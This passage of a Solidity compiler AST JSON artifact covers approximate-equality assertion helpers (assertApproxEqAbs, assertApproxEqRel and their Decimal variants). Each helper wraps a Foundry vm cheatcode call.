constant":false,"id":2182,"mutability":"mutable","name":"err","nameLocation":"17426:3:1","nodeType":"VariableDeclaration","scope":2196,"src":"17412:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2181,"name":"string","nodeType":"ElementaryTypeName","src":"17412:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"17305:130:1"},"returnParameters":{"id":2184,"nodeType":"ParameterList","parameters":[],"src":"17458:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2214,"nodeType":"FunctionDefinition","src":"17546:154:1","nodes":[],"body":{"id":2213,"nodeType":"Block","src":"17640:60:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2208,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2198,"src":"17671:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2209,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2200,"src":"17677:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2210,"name":"maxDelta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2202,"src":"17684:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":2205,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"17650:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2207,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17653:17:1","memberName":"assertApproxEqAbs","nodeType":"MemberAccess","referencedDeclaration":13549,"src":"17650:20:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$returns$__$","typeString":"function (int256,int256,uint256) pure external"}},"id":2211,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17650:43:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2212,"nodeType":"ExpressionStatement","src":"17650:43:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertApproxEqAbs","nameLocation":"17555:17:1","parameters":{"id":2203,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2198,"mutability":"mutable","name":"left","nameLocation":"17580:4:1","nodeType":"VariableDeclaration","scope":2214,"src":"17573:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2197,"name":"int256","nodeType":"ElementaryTypeName","src":"17573:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2200,"mutability":"mutable","name":"right","nameLocation":"17593:5:1","nodeType":"VariableDeclaration","scope":2214,"src":"17586:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2199,"name":"int256","nodeType":"ElementaryTypeName","src":"17586:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2202,"mutability":"mutable","name":"maxDelta","nameLocation":"17608:8:1","nodeType":"VariableDeclaration","scope":2214,"src":"17600:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2201,"name":"uint256","nodeType":"ElementaryTypeName","src":"17600:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"17572:45:1"},"returnParameters":{"id":2204,"nodeType":"ParameterList","parameters":[],"src":"17640:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2235,"nodeType":"FunctionDefinition","src":"17706:178:1","nodes":[],"body":{"id":2234,"nodeType":"Block","src":"17819:65:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2228,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2216,"src":"17850:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2229,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2218,"src":"17856:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2230,"name":"maxDelta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2220,"src":"17863:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2231,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2222,"src":"17873:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":2225,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"17829:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2227,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17832:17:1","memberName":"assertApproxEqAbs","nodeType":"MemberAccess","referencedDeclaration":13561,"src":"17829:20:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (int256,int256,uint256,string memory) pure external"}},"id":2232,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17829:48:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2233,"nodeType":"ExpressionStatement","src":"17829:48:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertApproxEqAbs","nameLocation":"17715:17:1","parameters":{"id":2223,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2216,"mutability":"mutable","name":"left","nameLocation":"17740:4:1","nodeType":"VariableDeclaration","scope":2235,"src":"17733:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2215,"name":"int256","nodeType":"ElementaryTypeName","src":"17733:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2218,"mutability":"mutable","name":"right","nameLocation":"17753:5:1","nodeType":"VariableDeclaration","scope":2235,"src":"17746:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2217,"name":"int256","nodeType":"ElementaryTypeName","src":"17746:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2220,"mutability":"mutable","name":"maxDelta","nameLocation":"17768:8:1","nodeType":"VariableDeclaration","scope":2235,"src":"17760:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2219,"name":"uint256","nodeType":"ElementaryTypeName","src":"17760:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2222,"mutability":"mutable","name":"err","nameLocation":"17792:3:1","nodeType":"VariableDeclaration","scope":2235,"src":"17778:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2221,"name":"string","nodeType":"ElementaryTypeName","src":"17778:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"17732:64:1"},"returnParameters":{"id":2224,"nodeType":"ParameterList","parameters":[],"src":"17819:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2256,"nodeType":"FunctionDefinition","src":"17890:224:1","nodes":[],"body":{"id":2255,"nodeType":"Block","src":"18037:77:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2249,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2237,"src":"18075:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2250,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2239,"src":"18081:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2251,"name":"maxDelta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2241,"src":"18088:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2252,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2243,"src":"18098:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":2246,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"18047:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2248,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"18050:24:1","memberName":"assertApproxEqAbsDecimal","nodeType":"MemberAccess","referencedDeclaration":13503,"src":"18047:27:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (int256,int256,uint256,uint256) pure external"}},"id":2253,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18047:60:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2254,"nodeType":"ExpressionStatement","src":"18047:60:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertApproxEqAbsDecimal","nameLocation":"17899:24:1","parameters":{"id":2244,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2237,"mutability":"mutable","name":"left","nameLocation":"17931:4:1","nodeType":"VariableDeclaration","scope":2256,"src":"17924:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2236,"name":"int256","nodeType":"ElementaryTypeName","src":"17924:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2239,"mutability":"mutable","name":"right","nameLocation":"17944:5:1","nodeType":"VariableDeclaration","scope":2256,"src":"17937:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2238,"name":"int256","nodeType":"ElementaryTypeName","src":"17937:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2241,"mutability":"mutable","name":"maxDelta","nameLocation":"17959:8:1","nodeType":"VariableDeclaration","scope":2256,"src":"17951:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2240,"name":"uint256","nodeType":"ElementaryTypeName","src":"17951:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2243,"mutability":"mutable","name":"decimals","nameLocation":"17977:8:1","nodeType":"VariableDeclaration","scope":2256,"src":"17969:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2242,"name":"uint256","nodeType":"ElementaryTypeName","src":"17969:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"17923:63:1"},"returnParameters":{"id":2245,"nodeType":"ParameterList","parameters":[],"src":"18037:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2280,"nodeType":"FunctionDefinition","src":"18120:248:1","nodes":[],"body":{"id":2279,"nodeType":"Block","src":"18286:82:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2272,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2258,"src":"18324:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2273,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2260,"src":"18330:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2274,"name":"maxDelta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2262,"src":"18337:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2275,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2264,"src":"18347:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2276,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2266,"src":"18357:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":2269,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"18296:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2271,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"18299:24:1","memberName":"assertApproxEqAbsDecimal","nodeType":"MemberAccess","referencedDeclaration":13517,"src":"18296:27:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (int256,int256,uint256,uint256,string memory) pure external"}},"id":2277,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18296:65:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2278,"nodeType":"ExpressionStatement","src":"18296:65:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertApproxEqAbsDecimal","nameLocation":"18129:24:1","parameters":{"id":2267,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2258,"mutability":"mutable","name":"left","nameLocation":"18161:4:1","nodeType":"VariableDeclaration","scope":2280,"src":"18154:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2257,"name":"int256","nodeType":"ElementaryTypeName","src":"18154:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2260,"mutability":"mutable","name":"right","nameLocation":"18174:5:1","nodeType":"VariableDeclaration","scope":2280,"src":"18167:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":2259,"name":"int256","nodeType":"ElementaryTypeName","src":"18167:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":2262,"mutability":"mutable","name":"maxDelta","nameLocation":"18189:8:1","nodeType":"VariableDeclaration","scope":2280,"src":"18181:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2261,"name":"uint256","nodeType":"ElementaryTypeName","src":"18181:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2264,"mutability":"mutable","name":"decimals","nameLocation":"18207:8:1","nodeType":"VariableDeclaration","scope":2280,"src":"18199:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2263,"name":"uint256","nodeType":"ElementaryTypeName","src":"18199:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2266,"mutability":"mutable","name":"err","nameLocation":"18231:3:1","nodeType":"VariableDeclaration","scope":2280,"src":"18217:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2265,"name":"string","nodeType":"ElementaryTypeName","src":"18217:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"18153:82:1"},"returnParameters":{"id":2268,"nodeType":"ParameterList","parameters":[],"src":"18286:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2298,"nodeType":"FunctionDefinition","src":"18374:256:1","nodes":[],"body":{"id":2297,"nodeType":"Block","src":"18563:67:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2292,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2282,"src":"18594:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2293,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2284,"src":"18600:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2294,"name":"maxPercentDelta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2286,"src":"18607:15:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":2289,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"18573:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2291,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"18576:17:1","memberName":"assertApproxEqRel","nodeType":"MemberAccess","referencedDeclaration":13623,"src":"18573:20:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256,uint256) pure external"}},"id":2295,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18573:50:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2296,"nodeType":"ExpressionStatement","src":"18573:50:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertApproxEqRel","nameLocation":"18383:17:1","parameters":{"id":2287,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2282,"mutability":"mutable","name":"left","nameLocation":"18418:4:1","nodeType":"VariableDeclaration","scope":2298,"src":"18410:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2281,"name":"uint256","nodeType":"ElementaryTypeName","src":"18410:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2284,"mutability":"mutable","name":"right","nameLocation":"18440:5:1","nodeType":"VariableDeclaration","scope":2298,"src":"18432:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2283,"name":"uint256","nodeType":"ElementaryTypeName","src":"18432:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2286,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"18463:15:1","nodeType":"VariableDeclaration","scope":2298,"src":"18455:23:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2285,"name":"uint256","nodeType":"ElementaryTypeName","src":"18455:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"18400:140:1"},"returnParameters":{"id":2288,"nodeType":"ParameterList","parameters":[],"src":"18563:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2319,"nodeType":"FunctionDefinition","src":"18636:288:1","nodes":[],"body":{"id":2318,"nodeType":"Block","src":"18852:72:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2312,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2300,"src":"18883:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2313,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2302,"src":"18889:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2314,"name":"maxPercentDelta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2304,"src":"18896:15:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2315,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2306,"src":"18913:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":2309,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"18862:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2311,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"18865:17:1","memberName":"assertApproxEqRel","nodeType":"MemberAccess","referencedDeclaration":13635,"src":"18862:20:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (uint256,uint256,uint256,string memory) pure external"}},"id":2316,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18862:55:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2317,"nodeType":"ExpressionStatement","src":"18862:55:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertApproxEqRel","nameLocation":"18645:17:1","parameters":{"id":2307,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2300,"mutability":"mutable","name":"left","nameLocation":"18680:4:1","nodeType":"VariableDeclaration","scope":2319,"src":"18672:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2299,"name":"uint256","nodeType":"ElementaryTypeName","src":"18672:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2302,"mutability":"mutable","name":"right","nameLocation":"18702:5:1","nodeType":"VariableDeclaration","scope":2319,"src":"18694:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2301,"name":"uint256","nodeType":"ElementaryTypeName","src":"18694:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2304,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"18725:15:1","nodeType":"VariableDeclaration","scope":2319,"src":"18717:23:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2303,"name":"uint256","nodeType":"ElementaryTypeName","src":"18717:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2306,"mutability":"mutable","name":"err","nameLocation":"18820:3:1","nodeType":"VariableDeclaration","scope":2319,"src":"18806:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2305,"name":"string","nodeType":"ElementaryTypeName","src":"18806:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"18662:167:1"},"returnParameters":{"id":2308,"nodeType":"ParameterList","parameters":[],"src":"18852:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2340,"nodeType":"FunctionDefinition","src":"18930:306:1","nodes":[],"body":{"id":2339,"nodeType":"Block","src":"19152:84:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2333,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2321,"src":"19190:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2334,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2323,"src":"19196:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2335,"name":"maxPercentDelta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2325,"src":"19203:15:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2336,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2327,"src":"19220:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":2330,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"19162:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2332,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"19165:24:1","memberName":"assertApproxEqRelDecimal","nodeType":"MemberAccess","referencedDeclaration":13573,"src":"19162:27:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256,uint256,uint256) pure external"}},"id":2337,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19162:67:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2338,"nodeType":"ExpressionStatement","src":"19162:67:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertApproxEqRelDecimal","nameLocation":"18939:24:1","parameters":{"id":2328,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2321,"mutability":"mutable","name":"left","nameLocation":"18981:4:1","nodeType":"VariableDeclaration","scope":2340,"src":"18973:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2320,"name":"uint256","nodeType":"ElementaryTypeName","src":"18973:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2323,"mutability":"mutable","name":"right","nameLocation":"19003:5:1","nodeType":"VariableDeclaration","scope":2340,"src":"18995:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2322,"name":"uint256","nodeType":"ElementaryTypeName","src":"18995:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2325,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"19026:15:1","nodeType":"VariableDeclaration","scope":2340,"src":"19018:23:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2324,"name":"uint256","nodeType":"ElementaryTypeName","src":"19018:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2327,"mutability":"mutable","name":"decimals","nameLocation":"19115:8:1","nodeType":"VariableDeclaration","scope":2340,"src":"19107:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2326,"name":"uint256","nodeType":"ElementaryTypeName","src":"19107:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"18963:166:1"},"returnParameters":{"id":2329,"nodeType":"ParameterList","parameters":[],"src":"19152:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2364,"nodeType":"FunctionDefinition","src":"19242:338:1","nodes":[],"body":{"id":2363,"nodeType":"Block","src":"19491:89:1","nodes":[]